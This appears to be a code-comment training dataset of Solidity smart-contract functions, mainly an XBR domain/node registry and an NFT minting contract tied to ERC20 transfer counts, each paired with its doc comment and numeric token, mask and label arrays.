* @param domainId The ID of the domain to lookup owner.
* @return The address of the owner of the domain.
*/
function getDomainOwner(bytes16 domainId) public view returns (address) {
return domains[domainId].owner;
}
/**
* Returns domain (signing) key.
*
* @param domainId The ID of the domain to lookup key.
* @return The Ed25519 public signing key for the domain.
*/
function getDomainKey(bytes16 domainId) public view returns (bytes32) {
return domains[domainId].key;
}
/**
* Returns domain license.
*
* @param domainId The ID of the domain to lookup license.
* @return IPFS Multihash pointer to domain license file on IPFS.
*/
function getDomainLicense(bytes16 domainId) public view returns (string memory) {
return domains[domainId].license;
}
/**
* Returns domain terms.
*
* @param domainId The ID of the domain to lookup terms.
* @return IPFS Multihash pointer to domain terms on IPFS.
*/
function getDomainTerms(bytes16 domainId) public view returns (string memory) {
return domains[domainId].terms;
}
/**
* Returns domain meta data.
*
* @param domainId The ID of the domain to lookup meta data.
* @return IPFS Multihash pointer to domain metadata file on IPFS.
*/
function getDomainMeta(bytes16 domainId) public view returns (string memory) {
return domains[domainId].meta;
}
/// Pair a node with a XBR Domain.
///
/// @param nodeId The ID of the node to pair. Must be globally unique (not yet existing).
/// @param domainId The ID of the domain to pair the node with.
/// @param nodeType The type of node to pair the node under.
/// @param nodeKey The Ed25519 public node key.
/// @param config Optional IPFS Multihash pointing to node configuration stored on IPFS
function pairNode (bytes16 nodeId, bytes16 domainId, XBRTypes.NodeType nodeType, bytes32 nodeKey,
string memory config) public {
_pairNode(msg.sender, block.number, nodeId, domainId, nodeType, nodeKey, config, "");
}
/// Pair a node with a XBR Domain.
///
/// Note: This version uses pre-signed data where the actual blockchain transaction is
/// submitted by a gateway paying the respective gas (in ETH) for the blockchain transaction.
///
/// @param member Member that is pairing the node (must be domain owner).
/// @param paired Block number when the node was paired to the domain.
/// @param nodeId The ID of the node to pair. Must be globally unique (not yet existing).
/// @param domainId The ID of the domain to pair the node with.
/// @param nodeType The type of node to pair the node under.
/// @param nodeKey The Ed25519 public node key.
/// @param config Optional IPFS Multihash pointing to node configuration stored on IPFS
/// @param signature Signature created by the member.
function pairNodeFor (address member, uint256 paired, bytes16 nodeId, bytes16 domainId,
XBRTypes.NodeType nodeType, bytes32 nodeKey, string memory config, bytes memory signature) public {
require(XBRTypes.verify(member, XBRTypes.EIP712NodePair(network.verifyingChain(), network.verifyingContract(),
member, paired, nodeId, domainId, nodeType, nodeKey, config), signature), "INVALID_SIGNATURE");
// signature must have been created in a window of 5 blocks from the current one
require(paired <= block.number && paired >= (block.number - 4), "INVALID_BLOCK_NUMBER");
_pairNode(member, paired, nodeId, domainId, nodeType, nodeKey, config, signature);
}
function _pairNode (address member, uint256 paired, bytes16 nodeId, bytes16 domainId,
XBRTypes.NodeType nodeType, bytes32 nodeKey, string memory config, bytes memory signature) private {
// domain to which the node is paired must exist
require(domains[domainId].owner != address(0), "NO_SUCH_DOMAIN");
// member must be owner of the domain
require(domains[domainId].owner == member, "NOT_AUTHORIZED");
// node must not yet be paired to any (!) domain
require(uint8(nodes[nodeId].nodeType) == 0, "NODE_ALREADY_PAIRED");
require(nodesByKey[nodeKey] == bytes16(0), "DUPLICATE_NODE_KEY");
// must provide a valid node type
require(uint8(nodeType) == uint8(XBRTypes.NodeType.MASTER) ||
uint8(nodeType) == uint8(XBRTypes.NodeType.CORE) ||
uint8(nodeType) == uint8(XBRTypes.NodeType.EDGE), "INVALID_NODE_TYPE");
// remember node
nodes[nodeId] = XBRTypes.Node(paired, domainId, nodeType, nodeKey, config, signature);
// update index
nodesByKey[nodeKey] = nodeId;
// update list of nodes for domain
domains[domainId].nodes.push(nodeId);
// notify observers
emit NodePaired(domainId, nodeId, paired, nodeKey, config);
}
// /**
// * Release a node currently paired with an XBR domain. The sender must be owner of the domain.
// *
// * @param nodeId The ID of the node to release.
// */
// function releaseNode (bytes16 nodeId) public {
// require(false, "NOT_IMPLEMENTED");
// }
/**
* Lookup node ID by node public key.
*
* @param nodeKey The node public key to lookup
* @return The Ed25519 public key of the node.
*/
function getNodeByKey(bytes32 nodeKey) public view returns (bytes16) {
return nodesByKey[nodeKey];
}
/**
* Returns domain for a node.
*
* @param nodeId The ID of the node to lookup the domain for.
* @return The domain the node is currently paired with.
*/
function getNodeDomain(bytes16 nodeId) public view returns (bytes16) {
return nodes[nodeId].domain;
}
/**
* Returns node type for a node.
*
* @param nodeId The ID of the node to lookup the node type for.
* @return The node type.
*/
function getNodeType(bytes16 nodeId) public view returns (XBRTypes.NodeType) {
return nodes[nodeId].nodeType;
}
/**
* Returns node public key for a node.
*
* @param nodeId The ID of the node to lookup the node public key for.
* @return The node public key.
*/
function getNodeKey(bytes16 nodeId) public view returns (bytes32) {
return nodes[nodeId].key;
}
/**
* Returns config for a node.
*
* @param nodeId The ID of the node to lookup the config for.
* @return IPFS Multihash pointer to node config.
*/
function getNodeConfig(bytes16 nodeId) public view returns (string memory) {
return nodes[nodeId].config;
}
}
| * Returns config for a node. @param nodeId The ID of the node to lookup the config for. @return IPFS Multihash pointer to node config./ | function getNodeConfig(bytes16 nodeId) public view returns (string memory) {
return nodes[nodeId].config;
}
| 13,073,223 | [
1,
1356,
642,
364,
279,
756,
18,
225,
11507,
1021,
1599,
434,
326,
756,
358,
3689,
326,
642,
364,
18,
327,
2971,
4931,
5991,
2816,
4407,
358,
756,
642,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
5973,
809,
12,
3890,
2313,
11507,
13,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
2199,
63,
2159,
548,
8009,
1425,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x6A6097E4ff385770ceE04B3094c7A0d9D653117a/sources/project_/contracts/FOHLE_Pair.sol | ratio 75 to have edge
| uint256 _dayRatio = 75 / days30PR; | 1,850,029 | [
1,
9847,
18821,
358,
1240,
3591,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
389,
2881,
8541,
273,
18821,
342,
4681,
5082,
8025,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.7;
import "./ITransferCounter.sol";
import "./Strings.sol";
import "openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol";
import "openzeppelin-solidity/contracts/access/roles/MinterRole.sol";
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
/**
* @title Sminem NFT token.
* @author SabaunT https://github.com/SabaunT.
* @notice Mints tokens in an amount, which calculates depending in transfers made in ERC20 token
* which implements `IERC20TransferCounter` interface.
*/
contract SminemNFT is ERC721Full, MinterRole, Ownable {
using SafeMath for uint256;
using Strings for uint256;
// Token whose transfers are being observed to make a decision about minting.
IERC20TransferCounter public token;
// Base uri for the outer storage of the token.
string public baseUri;
// Every `multiplicityOfTokenTransfers` transfers we can mint `mintingPerThreshold` tokens.
// Further both are referred as "globals".
uint256 public mintingPerThreshold;
uint256 public multiplicityOfTokenTransfers;
// For more info read `{SminemNFT-_updateTransfersAndMintDataBeforeChange}`
uint256 private _transfersBeforeChaningMultiplicity;
// For more info read `{SminemNFT-_updateTransfersAndMintDataBeforeChange}`
uint256 private _mintedBeforeChangingMultiplicity;
event TokenAddress(IERC20TransferCounter indexed token);
event TransferMultiplicity(uint256 indexed num);
event BaseUri(string indexed baseUri);
event TokensMintedPerCall(uint256 indexed num);
constructor(
IERC20TransferCounter _token,
uint256 _transfersMultiplicity,
string memory _baseUri,
uint256 _mintedPerCall
)
ERC721Full("SminemNFT", "SMNMNFT")
public
{
require(address(_token) != address(0), "SminemNFT::zero token address");
require(bytes(_baseUri).length > 0, "SminemNFT::empty base uri string");
require(
_transfersMultiplicity > 0,
"SminemNFT::multiplicity of transfers equals 0"
);
require(
_mintedPerCall > 0,
"SminemNFT::nfts minted per transfers amount reaching threshold equals 0"
);
token = _token;
multiplicityOfTokenTransfers = _transfersMultiplicity;
baseUri = _baseUri;
mintingPerThreshold = _mintedPerCall;
emit TokenAddress(_token);
emit TransferMultiplicity(_transfersMultiplicity);
emit BaseUri(_baseUri);
emit TokensMintedPerCall(_mintedPerCall);
}
/**
* @dev Sets a new token address, whose transfers will be observed.
* Requirements:
*
* - `token` cannot be the zero address.
* - `token` cannot be the same.
*/
function setNewTokenAddress(IERC20TransferCounter _token) external onlyOwner {
require(address(_token) != address(0), "SminemNFT::zero token address");
require(address(token) != address(_token), "SminemNFT::setting the same address");
token = _token;
emit TokenAddress(_token);
}
/**
* @dev Sets a new base uri.
*
* Requirements:
*
* - `_baseUri` cannot be empty string.
* - `_baseUri` cannot be the same.
*/
function setNewBaseUri(string calldata _baseUri) external onlyOwner {
require(
keccak256(abi.encodePacked(_baseUri)) != keccak256(abi.encodePacked(baseUri)),
"SminemNFT::setting the same base uri value"
);
require(bytes(_baseUri).length > 0, "SminemNFT::empty base uri string");
baseUri = _baseUri;
emit BaseUri(_baseUri);
}
/**
* @dev Sets a new value of transfers multiplicity.
*
* Requirements:
*
* - `num` cannot be zero.
* - `num` cannot be the same.
*/
function setNewTransfersMultiplicity(uint256 num) external onlyOwner {
require(
num != multiplicityOfTokenTransfers,
"SminemNFT::setting the same multiplicity value"
);
require(
num > 0,
"SminemNFT::multiplicity of transfers equals 0"
);
_updateTransfersAndMintDataBeforeChange();
multiplicityOfTokenTransfers = num;
emit TransferMultiplicity(num);
}
/**
* @dev Sets a new value of NFTs amount allowed to mint per reaching every `multiplicityOfTokenTransfers`
* amount of transfers on the `token`.
*
* Requirements:
*
* - `num` cannot be zero.
* - `num` cannot be the same.
*/
function setNewTokensMintingPerThreshold(uint256 num) external onlyOwner {
require(
num != mintingPerThreshold,
"SminemNFT::setting the same minting per threshold value"
);
require(
num > 0,
"SminemNFT::nfts minted per transfers amount reaching threshold equals 0"
);
_updateTransfersAndMintDataBeforeChange();
mintingPerThreshold = num;
emit TokensMintedPerCall(num);
}
/**
* @dev Mints tokens for all the provided `receivers`
*
* Every time transfers value on `token` is multiple of `multiplicityOfTokenTransfers`,
* you can mint `mintingPerThreshold`.
*
* Requirements:
*
* - `receivers` cannot be larger than 30 entries
* - `receivers` should be less or equal to amounts possible to mint. See {SminemNFT-getPossibleMintsAmount`}.
*/
function mint(address[] calldata receivers) external onlyMinter returns (uint256[] memory) {
// The upper bound is set to 30, which is < 5'000'000 gas.
require(
receivers.length <= 30,
"SminemNFT::can't mint more than 30 tokens at once"
);
require(
receivers.length <= getPossibleMintsAmount(),
"SminemNFT::excessive amount of token recipients"
);
uint256[] memory mintedTokenIds = new uint256[](receivers.length);
string memory _baseUri = baseUri;
for (uint8 i = 0; i < receivers.length; i++) {
uint256 newTokenId = totalSupply();
string memory newTokenUri = string(abi.encodePacked(_baseUri, newTokenId.toString()));
_safeMint(receivers[i], newTokenId);
_setTokenURI(newTokenId, newTokenUri);
mintedTokenIds[i] = newTokenId;
}
return mintedTokenIds;
}
/**
* @dev Gets tokens owned by the `account`.
*
* *Warning*. Never call on-chain. Call only using web3 "call" method!
*/
function tokensOfOwner(address account) external view returns (uint256[] memory ownerTokens) {
uint256 tokenAmount = balanceOf(account);
if (tokenAmount == 0) {
return new uint256[](0);
} else {
uint256[] memory output = new uint256[](tokenAmount);
for (uint256 index = 0; index < tokenAmount; index++) {
output[index] = tokenOfOwnerByIndex(account, index);
}
return output;
}
}
/**
* @dev Gets a possible amount of mints with the global values of `multiplicityOfTokenTransfers`
* and `mintingPerThreshold`.
*
* For example, totally X amount of NFTs were minted with current globals.
* Transfers on `token` reached amount of Y. So you can mint:
* `mintingPerThreshold` * (Y//`multiplicityOfTokenTransfers`) - X.
*/
function getPossibleMintsAmount() public view returns (uint256) {
uint256 possibleTimesToMint = _actualTransfersAmount().div(multiplicityOfTokenTransfers);
uint256 actualMints = _getMintedWithCurrentGlobals();
return (mintingPerThreshold.mul(possibleTimesToMint)).sub(actualMints);
}
/**
* @dev Performs safe mint with checking whether receiver is a contract that implements
* `IERC721Receiver` interface.
*
* ERC721Enumerable doesn't have safeMint implementation, so we have to implement our own.
*/
function _safeMint(address to, uint256 tokenId) internal {
ERC721Enumerable._mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, ""),
"SminemNFT::transfer to non ERC721Receiver implementer contract");
}
/**
* @dev Updates `_transfersBeforeChaningMultiplicity` and `_mintedBeforeChangingMultiplicity`
* when globals are changed.
*
* The idea is to "use" for calculation of amount of possible NFTs mints only those transfer amounts
* of the observed token, which weren't "used" for minting. This operation is needed, because
* changing globals sometimes can freeze `mint` function for a long time.
* For example:
* 1. Multiplicity = 100
* 2. Tokens per threshold = 5.
* 3. Transfers = 1520.
* 4. Minted amount = 63 (not `totalSupply`).
* 5. Available to mint = (1520//100) * 5 - 63 = 12
* If we change multiplicity to 200, then available to mint amount will be (1520//200) * 5 - 63 = -28.
* But what we do here, is count for the next globals only "unused transfers like this":
* (1520-1300)//200 * 5 - 0 = 5.
*
* To understand how we got "1300" read {SminemNFT-_getMinimumTransfersForMintAmount}.
*
* Should be mentioned that we update the minted amount as well. We nullify it, because
* for the "rest" transfers no NFTs were actually minted. So actual amount of NFTs minted
* with current globals is: totalSupply - _mintedBeforeChangingMultiplicity.
*
*/
function _updateTransfersAndMintDataBeforeChange() private {
uint256 mintedWithCurrentMultiplicity = _getMintedWithCurrentGlobals();
uint256 transfersForMintedWithCurrentMultiplicity = _getMinimumTransfersForMintAmount(
mintedWithCurrentMultiplicity
);
if (transfersForMintedWithCurrentMultiplicity > 0) {
_transfersBeforeChaningMultiplicity = _transfersBeforeChaningMultiplicity.add(
transfersForMintedWithCurrentMultiplicity
);
// todo equal to totalSupply?
_mintedBeforeChangingMultiplicity = _mintedBeforeChangingMultiplicity.add(
mintedWithCurrentMultiplicity
);
}
}
/**
* @dev Gets an amount of transfers needed to calculate possible mints.
*
* For more details read {SminemNFT-_updateTransfersAndMintDataBeforeChange}
*/
function _actualTransfersAmount() private view returns(uint256) {
return token.getNumberOfTransfers().sub(_transfersBeforeChaningMultiplicity);
}
/**
* @dev Gets an amount of NFTs minted with current globals.
*
* For more details read {SminemNFT-_updateTransfersAndMintDataBeforeChange}
*/
function _getMintedWithCurrentGlobals() private view returns (uint256) {
return totalSupply().sub(_mintedBeforeChangingMultiplicity);
}
/**
* @dev Gets a minimum amount of transfers needed to mint an `amount` of tokens.
*
* Transfers = (`amount`/`mintingPerThreshold`) * currentMultiplicity.
*
* *Important*. If we have minted 63 tokens with globals
* - multiplicityOfTokenTransfers = 100;
* - mintingPerThreshold = 5;
* then the `Transfers` value will be 1260. However, 1260 transfers could only be used to
* mint 10 tokens ((1260//100) * 5). In such cases we take the larger multiple of multiplicityOfTokenTransfers.
* In this case it's 1300.
*/
function _getMinimumTransfersForMintAmount(uint256 amount) private view returns (uint256) {
if (amount > 0) {
uint256 currentMultiplicity = multiplicityOfTokenTransfers;
// multiply by 1e12 to avoid zero rounding
uint256 transfersForMintedWithCurrentMultiplicity = (amount.mul(1e12))
.div(mintingPerThreshold)
.mul(currentMultiplicity)
.div(1e12);
transfersForMintedWithCurrentMultiplicity = transfersForMintedWithCurrentMultiplicity.mod(currentMultiplicity) == 0 ?
transfersForMintedWithCurrentMultiplicity : (
(transfersForMintedWithCurrentMultiplicity.div(currentMultiplicity)).add(1)
).mul(currentMultiplicity);
return transfersForMintedWithCurrentMultiplicity;
}
return 0;
}
} | * @dev Sets a new value of NFTs amount allowed to mint per reaching every `multiplicityOfTokenTransfers` amount of transfers on the `token`. Requirements: - `num` cannot be zero. - `num` cannot be the same./ | function setNewTokensMintingPerThreshold(uint256 num) external onlyOwner {
require(
num != mintingPerThreshold,
"SminemNFT::setting the same minting per threshold value"
);
require(
num > 0,
"SminemNFT::nfts minted per transfers amount reaching threshold equals 0"
);
_updateTransfersAndMintDataBeforeChange();
mintingPerThreshold = num;
emit TokensMintedPerCall(num);
}
| 6,472,663 | [
1,
2785,
279,
394,
460,
434,
423,
4464,
87,
3844,
2935,
358,
312,
474,
1534,
9287,
310,
3614,
1375,
7027,
20458,
951,
1345,
1429,
18881,
68,
3844,
434,
29375,
603,
326,
1375,
2316,
8338,
29076,
30,
300,
1375,
2107,
68,
2780,
506,
3634,
18,
300,
1375,
2107,
68,
2780,
506,
326,
1967,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
19469,
5157,
49,
474,
310,
2173,
7614,
12,
11890,
5034,
818,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
203,
5411,
818,
480,
312,
474,
310,
2173,
7614,
16,
203,
5411,
315,
55,
1154,
351,
50,
4464,
2866,
8920,
326,
1967,
312,
474,
310,
1534,
5573,
460,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
818,
405,
374,
16,
203,
5411,
315,
55,
1154,
351,
50,
4464,
2866,
82,
1222,
87,
312,
474,
329,
1534,
29375,
3844,
9287,
310,
5573,
1606,
374,
6,
203,
3639,
11272,
203,
3639,
389,
2725,
1429,
18881,
1876,
49,
474,
751,
4649,
3043,
5621,
203,
203,
3639,
312,
474,
310,
2173,
7614,
273,
818,
31,
203,
3639,
3626,
13899,
49,
474,
329,
2173,
1477,
12,
2107,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0x70252156Fb8F9E7fEd29b906Da893B789406C64a/sources/browser/FFYILiqPoolv2.sol | FFYI-ETH uniswap pool
| IERC20 constant public poolToken = IERC20(0xbD53b7cDDEb6C478a003C38642fad4b52ac1772f); | 16,222,294 | [
1,
2246,
61,
45,
17,
1584,
44,
640,
291,
91,
438,
2845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
467,
654,
39,
3462,
5381,
1071,
2845,
1345,
225,
273,
467,
654,
39,
3462,
12,
20,
6114,
40,
8643,
70,
27,
71,
40,
1639,
70,
26,
39,
24,
8285,
69,
25425,
39,
7414,
1105,
22,
74,
361,
24,
70,
9401,
1077,
4033,
9060,
74,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
